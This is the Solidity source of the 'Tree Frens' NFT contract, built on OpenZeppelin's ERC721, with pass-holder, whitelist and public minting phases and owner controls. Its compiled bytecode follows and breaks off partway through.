external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/TreeFren.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract TreeFrens is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public baseURI = ""; string public uriExt = ".json"; string public hiddenURI; uint256 public price = 0.069 ether; uint256 public MAX_FRENS = 6969; uint256 public whitelistSaleCount = 2; bool public paused = false; bool public revealed = false; bool public whitelistSale = false; bool public frenpassSale = true; bool public publicMint = false; address public FRENPASSHOLDERS; bytes32 private _presaleMerkleRoot; constructor() ERC721("Tree Frens", "TF") { setHiddenURI("ipfs://QmX8wPH9cTetsvKLZTQsM6WGDHtW75sW72qdkfV9YUmjLw/hidden.json"); setFrenPassAddress(0x192ba0a52D9E59Aad7dD9cAA05B9BB12e2e2b7E1); } modifier whitelistHelper(uint256 _frenAmount) { require(supply.current() + _frenAmount <= MAX_FRENS, "We are sold out!"); require(_frenAmount > 0 && _frenAmount <= whitelistSaleCount, "You can only mint 1 during whitelist sale"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _frenAmount) public payable { require(!paused && !frenpassSale && !whitelistSale && publicMint, "Sale is currently paused."); require(msg.value >= price * _frenAmount, "Please send more ETH"); require(supply.current() + _frenAmount <= MAX_FRENS, "We are sold out!"); _mintCycle(msg.sender, _frenAmount); } function frenPassMint(uint256 _frenAmount) public payable { require(!paused && !whitelistSale && !publicMint && frenpassSale, "Sale is currently not active."); IERC721 frenpass = IERC721(FRENPASSHOLDERS); uint256 amountFrenPass = frenpass.balanceOf(msg.sender); require(amountFrenPass >= 1, "You don't have the Fren Pass"); require(supply.current() + _frenAmount <= MAX_FRENS, "We are sold out! Hit Opensea to find your Tree Frens"); _mintCycle(msg.sender, _frenAmount); } function whitelistMint(uint256 _frenAmount, bytes32[] calldata _merkleProof) public payable whitelistHelper(_frenAmount){ require(!paused && !frenpassSale && !publicMint && whitelistSale, "Whitelist Sale not active yet"); require(_verifyPresaleStatus(msg.sender, _merkleProof), "Address not on whitelist"); require(msg.value >= price * _frenAmount, "Please send more ETH"); _mintCycle(msg.sender, _frenAmount); } function setPresaleMerkleRoot(bytes32 _merkleRoot) external onlyOwner { _presaleMerkleRoot = _merkleRoot; } function _verifyPresaleStatus(address _account, bytes32[] calldata _merkleProof) private view returns (bool) { bytes32 node = keccak256(abi.encodePacked(_account)); return MerkleProof.verify(_merkleProof, _presaleMerkleRoot, node); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= MAX_FRENS) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenURI; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriExt)) : ""; } function togglePublicMint() external onlyOwner { publicMint = !publicMint; } function toggleWhitelistMint() external onlyOwner { whitelistSale = !whitelistSale; } function toggleFrenPassMint() external onlyOwner { frenpassSale = !frenpassSale; } function setFrenPassAddress(address _newAddress) public onlyOwner { FRENPASSHOLDERS = _newAddress; } function changeReveal(bool _state) public onlyOwner { revealed = _state; } function setPrice(uint256 _price) public onlyOwner { price = _price; } function setWhitelistSaleCount(uint256 _whitelistSaleCount) public onlyOwner { whitelistSaleCount = _whitelistSaleCount; } function setHiddenURI(string memory _hiddenURI) public onlyOwner { hiddenURI = _hiddenURI; } function setBaseURI(string memory _baseURIPrefix) public onlyOwner { baseURI = _baseURIPrefix; } function setURIExt(string memory _URIExt) public onlyOwner { uriExt = _URIExt; } function setSalePause(bool _state) public onlyOwner { paused = _state; } function withdrawMoney() public onlyOwner{ (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintCycle(address _receiver, uint256 _frenAmount) internal { for (uint256 i = 0; i < _frenAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } }
0x60806040526004361061027d5760003560e01c80638da5cb5b1161014f578063bbaac02f116100c1578063d01b555d1161007a578063d01b555d14610735578063d2cab05614610755578063d8a1813f14610768578063e985e9c51461077e578063f2fde38b146107c7578063fb033fc8146107e757600080fd5b8063bbaac02f14610681578063bd651aa3146106a1578063bde2ab36146106b6578063c87b56dd146106d6578063c9615500146106f6578063ce272ca01461071f57600080fd5b8063a22cb46511610113578063a22cb465146105e4578063a88dcae414610604578063ac44600214610624578063ad08d9ac14610639578063b88d4fde1461064c578063bb3eeace1461066c57600080fd5b80638da5cb5b1461056857806391b7f5ed1461058657806395d89b41146105a6578063a035b1fe146105bb578063a0712d68146105d157600080fd5b80634047638d116101f35780636352211e116101ac5780636352211e146104d45780636c0360eb146104f45780636f63b60a1461050957806370a082311461051e578063715018a61461053e5780638cc54e7f1461055357600080fd5b80634047638d1461041957806342842e0e1461042e578063438b63001461044e578063518302271461047b57806355f804b31461049a5780635c975abb146104ba57600080fd5b806317118dbf1161024557806317118dbf1461035357806318160ddd1461037457806323b872dd1461039757806326092b83146103b757806328d7b276146103d957806331ffd6f1146103f957600080fd5b806301ffc9a71461028257806306fdde03146102b7578063081812fc146102d9578063095ea7b3146103115780630e3d312d14610333575b600080fd5b34801561028e57600080fd5b506102a261029d366004612566565b610807565b60405190151581526020015b60405180910390f35b3480156102c357600080fd5b506102cc610859565b6040516102ae91906127f2565b3480156102e557600080fd5b506102f96102f436600461254d565b6108eb565b6040516001600160a01b0390911681526020016102ae565b34801561031d57600080fd5b5061033161032c366004612508565b610985565b005b34801561033f57600080fd5b5061033161034e3660046123d8565b610a9b565b34801561035f57600080fd5b50600e546102a2906301000000900460ff1681565b34801561038057600080fd5b50610389610af5565b6040519081526020016102ae565b3480156103a357600080fd5b506103316103b2366004612426565b610b05565b3480156103c357600080fd5b50600e546102a290640100000000900460ff1681565b3480156103e557600080fd5b506103316103f436600461254d565b610b36565b34801561040557600080fd5b50600e546102a29062010000900460ff1681565b34801561042557600080fd5b50610331610b65565b34801561043a57600080fd5b50610331610449366004612426565b610bb2565b34801561045a57600080fd5b5061046e6104693660046123d8565b610bcd565b6040516102ae91906127ae565b34801561048757600080fd5b50600e546102a290610100900460ff1681565b3480156104a657600080fd5b506103316104b53660046125a0565b610cae565b3480156104c657600080fd5b50600e546102a29060ff1681565b3480156104e057600080fd5b506102f96104ef36600461254d565b610cef565b34801561050057600080fd5b506102cc610d66565b34801561051557600080fd5b50610331610df4565b34801561052a57600080fd5b506103896105393660046123d8565b610e3d565b34801561054a57600080fd5b50610331610ec4565b34801561055f57600080fd5b506102cc610efa565b34801561057457600080fd5b506006546001600160a01b03166102f9565b34801561059257600080fd5b506103316105a136600461254d565b610f07565b3480156105b257600080fd5b506102cc610f36565b3480156105c757600080fd5b50610389600b5481565b6103316105df36600461254d565b610f45565b3480156105f057600080fd5b506103316105ff3660046124de565b611092565b34801561061057600080fd5b5061033161061f3660046125a0565b61109d565b34801561063057600080fd5b506103316110da565b61033161064736600461254d565b611175565b34801561065857600080fd5b50610331610667366004612462565b611370565b34801561067857600080fd5b506102cc6113a8565b34801561068d57600080fd5b5061033161069c3660046125a0565b6113b5565b3480156106ad57600080fd5b506103316113f2565b3480156106c257600080fd5b506103316106d136600461254d565b61143d565b3480156106e257600080fd5b506102cc6106f136600461254d565b61146c565b34801561070257600080fd5b50600e546102f9906501000000000090046001600160a01b031681565b34801561072b57600080fd5b50610389600c5481565b34801561074157600080fd5b50610331610750366004612532565b6115eb565b610331610763366004612602565b611628565b34801561077457600080fd5b50610389600d5481565b34801561078a57600080fd5b506102a26107993660046123f3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156107d357600080fd5b506103316107e23660046123d8565b61183a565b3480156107f357600080fd5b50610331610802366004612532565b6118d2565b60006001600160e01b031982166380ac58cd60e01b148061083857506001600160e01b03198216635b5e139f60e01b145b8061085357506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546108689061296b565b80601f01602080910402602001604051908101604052809291908181526020018280546108949061296b565b80156108e15780601f106108b6576101008083540402835291602001916108e1565b820191906000526020600020905b8154815290600101906020018083116108c457829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109695760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061099082610cef565b9050806001600160a01b0316836001600160a01b031614156109fe5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610960565b336001600160a01b0382161480610a1a5750610a1a8133610799565b610a8c5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610960565b610a968383611916565b505050565b6006546001600160a01b03163314610ac55760405162461bcd60e51b815260040161096090612857565b600e80546001600160a01b03909216650100000000000265010000000000600160c81b0319909216919091179055565b6000610b0060075490565b905090565b610b0f3382611984565b610b2b5760405162461bcd60e51b81526004016109609061288c565b610a96838383611a7b565b6006546001600160a01b03163314610b605760405162461bcd60e51b815260040161096090612857565b600f55565b6006546001600160a01b03163314610b8f5760405162461bcd60e51b815260040161096090612857565b600e805464ff000000001981166401000000009182900460ff1615909102179055565b610a9683838360405180602001604052806000815250611370565b60606000610bda83610e3d565b905060008167ffffffffffffffff811115610bf757610bf7612a17565b604051908082528060200260200182016040528015610c20578160200160208202803683370190505b509050600160005b8381108015610c395750600c548211155b15610ca4576000610c4983610cef565b9050866001600160a01b0316816001600160a01b03161415610c915782848381518110610c7857610c78612a01565b602090810291909101015281610c8d816129a6565b9250505b82610c9b816129a6565b93505050610c28565b5090949350505050565b6006546001600160a01b03163314610cd85760405162461bcd60e51b815260040161096090612857565b8051610ceb90600890602084019061229d565b5050565b6000818152600260205260408120546001600160a01b0316806108535760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610960565b60088054610d739061296b565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9f9061296b565b8015610dec5780601f10610dc157610100808354040283529160200191610dec565b820191906000526020600020905b815481529060010190602001808311610dcf57829003601f168201915b505050505081565b6006546001600160a01b03163314610e1e5760405162461bcd60e51b815260040161096090612857565b600e805462ff0000198116620100009182900460ff1615909102179055565b60006001600160a01b038216610ea85760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610960565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610eee5760405162461bcd60e51b815260040161096090612857565b610ef86000611c1b565b565b600a8054610d739061296b565b6006546001600160a01b03163314610f315760405162461bcd60e51b815260040161096090612857565b600b55565b6060600180546108689061296b565b600e5460ff16158015610f625750600e546301000000900460ff16155b8015610f775750600e5462010000900460ff16155b8015610f8d5750600e54640100000000900460ff165b610fd95760405162461bcd60e51b815260206004820152601960248201527f53616c652069732063757272656e746c79207061757365642e000000000000006044820152606401610960565b80600b54610fe79190612909565b34101561102d5760405162461bcd60e51b81526020600482015260146024820152730a0d8cac2e6ca40e6cadcc840dadee4ca408aa8960631b6044820152606401610960565b600c548161103a60075490565b61104491906128dd565b11156110855760405162461bcd60e51b815260206004820152601060248201526f57652061726520736f6c64206f75742160801b6044820152606401610960565b61108f3382611c6d565b50565b610ceb338383611caa565b6006546001600160a01b031633146110c75760405162461bcd60e51b815260040161096090612857565b8051610ceb90600990602084019061229d565b6006546001600160a01b031633146111045760405162461bcd60e51b815260040161096090612857565b60006111186006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114611162576040519150601f19603f3d011682016040523d82523d6000602084013e611167565b606091505b505090508061108f57600080fd5b600e5460ff161580156111915750600e5462010000900460ff16155b80156111a85750600e54640100000000900460ff16155b80156111bd5750600e546301000000900460ff165b6112095760405162461bcd60e51b815260206004820152601d60248201527f53616c652069732063757272656e746c79206e6f74206163746976652e0000006044820152606401610960565b600e546040516370a0823160e01b8152336004820152650100000000009091046001600160a01b03169060009082906370a082319060240160206040518083038186803b15801561125957600080fd5b505afa15801561126d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129191906125e9565b905060018110156112e45760405162461bcd60e51b815260206004820152601c60248201527f596f7520646f6e2774206861766520746865204672656e2050617373000000006044820152606401610960565b600c54836112f160075490565b6112fb91906128dd565b11156113665760405162461bcd60e51b815260206004820152603460248201527f57652061726520736f6c64206f75742120486974204f70656e73656120746f2060448201527366696e6420796f75722054726565204672656e7360601b6064820152608401610960565b610a963384611c6d565b61137a3383611984565b6113965760405162461bcd60e51b81526004016109609061288c565b6113a284848484611d79565b50505050565b60098054610d739061296b565b6006546001600160a01b031633146113df5760405162461bcd60e51b815260040161096090612857565b8051610ceb90600a90602084019061229d565b6006546001600160a01b0316331461141c5760405162461bcd60e51b815260040161096090612857565b600e805463ff00000019811663010000009182900460ff1615909102179055565b6006546001600160a01b031633146114675760405162461bcd60e51b815260040161096090612857565b600d55565b6000818152600260205260409020546060906001600160a01b03166114eb5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610960565b600e54610100900460ff1661158c57600a80546115079061296b565b80601f01602080910402602001604051908101604052809291908181526020018280546115339061296b565b80156115805780601f1061155557610100808354040283529160200191611580565b820191906000526020600020905b81548152906001019060200180831161156357829003601f168201915b50505050509050919050565b6000611596611dac565b905060008151116115b657604051806020016040528060008152506115e4565b806115c084611dbb565b60096040516020016115d4939291906126ad565b6040516020818303038152906040525b9392505050565b6006546001600160a01b031633146116155760405162461bcd60e51b815260040161096090612857565b600e805460ff1916911515919091179055565b82600c548161163660075490565b61164091906128dd565b11156116815760405162461bcd60e51b815260206004820152601060248201526f57652061726520736f6c64206f75742160801b6044820152606401610960565b6000811180156116935750600d548111155b6116f15760405162461bcd60e51b815260206004820152602960248201527f596f752063616e206f6e6c79206d696e74203120647572696e672077686974656044820152686c6973742073616c6560b81b6064820152608401610960565b600e5460ff1615801561170e5750600e546301000000900460ff16155b80156117255750600e54640100000000900460ff16155b80156117395750600e5462010000900460ff165b6117855760405162461bcd60e51b815260206004820152601d60248201527f57686974656c6973742053616c65206e6f7420616374697665207965740000006044820152606401610960565b611790338484611eb9565b6117dc5760405162461bcd60e51b815260206004820152601860248201527f41646472657373206e6f74206f6e2077686974656c69737400000000000000006044820152606401610960565b83600b546117ea9190612909565b3410156118305760405162461bcd60e51b81526020600482015260146024820152730a0d8cac2e6ca40e6cadcc840dadee4ca408aa8960631b6044820152606401610960565b6113a23385611c6d565b6006546001600160a01b031633146118645760405162461bcd60e51b815260040161096090612857565b6001600160a01b0381166118c95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610960565b61108f81611c1b565b6006546001600160a01b031633146118fc5760405162461bcd60e51b815260040161096090612857565b600e80549115156101000261ff0019909216919091179055565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061194b82610cef565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166119fd5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610960565b6000611a0883610cef565b9050806001600160a01b0316846001600160a01b03161480611a435750836001600160a01b0316611a38846108eb565b6001600160a01b0316145b80611a7357506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611a8e82610cef565b6001600160a01b031614611af65760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610960565b6001600160a01b038216611b585760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610960565b611b63600082611916565b6001600160a01b0383166000908152600360205260408120805460019290611b8c908490612928565b90915550506001600160a01b0382166000908152600360205260408120805460019290611bba9084906128dd565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b81811015610a9657611c86600780546001019055565b611c9883611c9360075490565b611f3f565b80611ca2816129a6565b915050611c70565b816001600160a01b0316836001600160a01b03161415611d0c5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610960565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611d84848484611a7b565b611d9084848484611f59565b6113a25760405162461bcd60e51b815260040161096090612805565b6060600880546108689061296b565b606081611ddf5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611e095780611df3816129a6565b9150611e029050600a836128f5565b9150611de3565b60008167ffffffffffffffff811115611e2457611e24612a17565b6040519080825280601f01601f191660200182016040528015611e4e576020820181803683370190505b5090505b8415611a7357611e63600183612928565b9150611e70600a866129c1565b611e7b9060306128dd565b60f81b818381518110611e9057611e90612a01565b60200101906001600160f81b031916908160001a905350611eb2600a866128f5565b9450611e52565b6040516bffffffffffffffffffffffff19606085901b1660208201526000908190603401604051602081830303815290604052805190602001209050611f3684848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050600f549150849050612066565b95945050505050565b610ceb82826040518060200160405280600081525061207c565b60006001600160a01b0384163b1561205b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611f9d903390899088908890600401612771565b602060405180830381600087803b158015611fb757600080fd5b505af1925050508015611fe7575060408051601f3d908101601f19168201909252611fe491810190612583565b60015b612041573d808015612015576040519150601f19603f3d011682016040523d82523d6000602084013e61201a565b606091505b5080516120395760405162461bcd60e51b815260040161096090612805565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611a73565b506001949350505050565b60008261207385846120af565b14949350505050565b612086838361215b565b6120936000848484611f59565b610a965760405162461bcd60e51b815260040161096090612805565b600081815b84518110156121535760008582815181106120d1576120d1612a01565b60200260200101519050808311612113576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250612140565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061214b816129a6565b9150506120b4565b509392505050565b6001600160a01b0382166121b15760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610960565b6000818152600260205260409020546001600160a01b0316156122165760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610960565b6001600160a01b038216600090815260036020526040812080546001929061223f9084906128dd565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546122a99061296b565b90600052602060002090601f0160209004810192826122cb5760008555612311565b82601f106122e457805160ff1916838001178555612311565b82800160010185558215612311579182015b828111156123115782518255916020019190600101906122f6565b5061231d929150612321565b5090565b5b8082111561231d5760008155600101612322565b600067ffffffffffffffff8084111561235157612351612a17565b604051601f8501601f19908116603f0116810190828211818310171561237957612379612a17565b8160405280935085815286868601111561239257600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146123c357600080fd5b919050565b803580151581146123c357600080fd5b6000602082840312156123ea57600080fd5b6115e4826123ac565b6000806040838503121561240657600080fd5b61240f836123ac565b915061241d602084016123ac565b90509250929050565b60008060006060848603121561243b57600080fd5b612444846123ac565b9250612452602085016123ac565b9150604084013590509250925092565b6000806000806080858703121561247857600080fd5b612481856123ac565b935061248f602086016123ac565b925060408501359150606085013567ffffffffffffffff8111156124b257600080fd5b8501601f810187136124c357600080fd5b6124d287823560208401612336565b91505092